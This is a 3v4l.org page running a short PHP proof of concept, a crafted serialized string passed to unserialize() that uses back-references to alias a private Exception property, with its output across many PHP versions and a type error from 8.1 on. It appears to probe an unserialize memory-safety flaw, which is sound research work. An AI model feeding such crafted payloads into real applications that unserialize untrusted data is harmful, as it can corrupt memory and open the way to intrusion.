3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}'; //$exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;i:1;}}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);
Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Fatal error: Uncaught TypeError: Cannot assign array to property Exception::$string of type string in /in/E0Tmv:11 Stack trace: #0 /in/E0Tmv(11): unserialize('a:3:{i:0;O:9:"e...') #1 {main} thrown in /in/E0Tmv on line 11
Process exited with code 255.
Output for 5.6.28, 7.0.20, 7.1.5 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30
array(3) { [0]=> &object(Exception)#1 (6) { ["message":protected]=> string(0) "" ["code":protected]=> int(0) ["file":protected]=> string(9) "/in/E0Tmv" ["line":protected]=> int(11) ["trace":"Exception":private]=> array(1) { [0]=> array(4) { ["file"]=> string(9) "/in/E0Tmv" ["line"]=> int(11) ["function"]=> string(11) "unserialize" ["args"]=> array(1) { [0]=> string(110) "a:3:{i:0;O:9:"exception":1:{s:17:"Exceptionstring";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}" } } } ["previous":"Exception":private]=> NULL } [1]=> object(obj)#2 (2) { ["prop"]=> int(1) ["porp"]=> &object(Exception)#1 (6) { ["message":protected]=> string(0) "" ["code":protected]=> int(0) ["file":protected]=> string(9) "/in/E0Tmv" ["line":protected]=> int(11) ["trace":"Exception":private]=> array(1) { [0]=> array(4) { ["file"]=> string(9) "/in/E0Tmv" ["line"]=> int(11) ["function"]=> string(11) "unserialize" ["args"]=> array(1) { [0]=> string(110) "a:3:{i:0;O:9:"exception":1:{s:17:"Exceptionstring";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}" } } } ["previous":"Exception":private]=> NULL } } [2]=> array(1) { [0]=> int(1) } }
Output for 7.1.0
array(2) { [0]=> &object(Exception)#1 (6) { ["message":protected]=> string(0) "" ["code":protected]=> int(0) ["file":protected]=> string(9) "/in/E0Tmv" ["line":protected]=> int(11) ["trace":"Exception":private]=> array(1) { [0]=> array(4) { ["file"]=> string(9) "/in/E0Tmv" ["line"]=> int(11) ["function"]=> string(11) "unserialize" ["args"]=> array(1) { [0]=> string(110) "a:3:{i:0;O:9:"exception":1:{s:17:"Exceptionstring";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}" } } } ["previous":"Exception":private]=> NULL } [1]=> object(obj)#2 (2) { ["prop"]=> int(1) ["porp"]=> &object(Exception)#1 (6) { ["message":protected]=> string(0) "" ["code":protected]=> int(0) ["file":protected]=> string(9) "/in/E0Tmv" ["line":protected]=> int(11) ["trace":"Exception":private]=> array(1) { [0]=> array(4) { ["file"]=> string(9) "/in/E0Tmv" ["line"]=> int(11) ["function"]=> string(11) "unserialize" ["args"]=> array(1) { [0]=> string(110) "a:3:{i:0;O:9:"exception":1:{s:17:"Exceptionstring";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}" } } } ["previous":"Exception":private]=> NULL } } }
Output for 7.0.0 - 7.0.6
array(2) { [0]=> &object(Exception)#1 (5) { ["message":protected]=> string(0) "" ["code":protected]=> int(0) ["file":protected]=> string(9) "/in/E0Tmv" ["line":protected]=> int(11) ["trace":"Exception":private]=> array(1) { [0]=> array(4) { ["file"]=> string(9) "/in/E0Tmv" ["line"]=> int(11) ["function"]=> string(11) "unserialize" ["args"]=> array(1) { [0]=> string(110) "a:3:{i:0;O:9:"exception":1:{s:17:"Exceptionstring";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}" } } } } [1]=> object(obj)#2 (2) { ["prop"]=> int(1) ["porp"]=> &object(Exception)#1 (5) { ["message":protected]=> string(0) "" ["code":protected]=> int(0) ["file":protected]=> string(9) "/in/E0Tmv" ["line":protected]=> int(11) ["trace":"Exception":private]=> array(1) { [0]=> array(4) { ["file"]=> string(9) "/in/E0Tmv" ["line"]=> int(11) ["function"]=> string(11) "unserialize" ["args"]=> array(1) { [0]=> string(110) "a:3:{i:0;O:9:"exception":1:{s:17:"Exceptionstring";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}" } } } } } }
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.35, 5.6.12 - 5.6.21
array(3) { [0]=> &object(Exception)#1 (5) { ["message":protected]=> string(0) "" ["code":protected]=> int(0) ["file":protected]=> string(9) "/in/E0Tmv" ["line":protected]=> int(11) ["trace":"Exception":private]=> array(1) { [0]=> array(4) { ["file"]=> string(9) "/in/E0Tmv" ["line"]=> int(11) ["function"]=> string(11) "unserialize" ["args"]=> array(1) { [0]=> string(110) "a:3:{i:0;O:9:"exception":1:{s:17:"Exceptionstring";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}" } } } } [1]=> object(obj)#2 (2) { ["prop"]=> int(1) ["porp"]=> &object(Exception)#1 (5) { ["message":protected]=> string(0) "" ["code":protected]=> int(0) ["file":protected]=> string(9) "/in/E0Tmv" ["line":protected]=> int(11) ["trace":"Exception":private]=> array(1) { [0]=> array(4) { ["file"]=> string(9) "/in/E0Tmv" ["line"]=> int(11) ["function"]=> string(11) "unserialize" ["args"]=> array(1) { [0]=> string(110) "a:3:{i:0;O:9:"exception":1:{s:17:"Exceptionstring";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}" } } } } } [2]=> array(1) { [0]=> int(1) } }
Output for 5.4.2 - 5.4.43, 5.5.24 - 5.5.27, 5.6.7 - 5.6.11
array(3) { [0]=> &object(Exception)#1 (7) { ["message":protected]=> string(0) "" ["string":"Exception":private]=> &array(1) { [0]=> int(1) } ["code":protected]=> int(0) ["file":protected]=> string(9) "/in/E0Tmv" ["line":protected]=> int(11) ["trace":"Exception":private]=> array(1) { [0]=> array(4) { ["file"]=> string(9) "/in/E0Tmv" ["line"]=> int(11) ["function"]=> string(11) "unserialize" ["args"]=> array(1) { [0]=> string(110) "a:3:{i:0;O:9:"exception":1:{s:17:"Exceptionstring";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}" } } } ["previous":"Exception":private]=> NULL } [1]=> object(obj)#2 (2) { ["prop"]=> int(1) ["porp"]=> &object(Exception)#1 (7) { ["message":protected]=> string(0) "" ["string":"Exception":private]=> &array(1) { [0]=> int(1) } ["code":protected]=> int(0) ["file":protected]=> string(9) "/in/E0Tmv" ["line":protected]=> int(11) ["trace":"Exception":private]=> array(1) { [0]=> array(4) { ["file"]=> string(9) "/in/E0Tmv" ["line"]=> int(11) ["function"]=> string(11) "unserialize" ["args"]=> array(1) { [0]=> string(110) "a:3:{i:0;O:9:"exception":1:{s:17:"Exceptionstring";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"porp";R:2;}i:2;R:3;}" } } } ["previous":"Exception":private]=> NULL } } [2]=> &array(1) { [0]=> int(1) } }

preferences:
237.38 ms | 406 KiB | 272 Q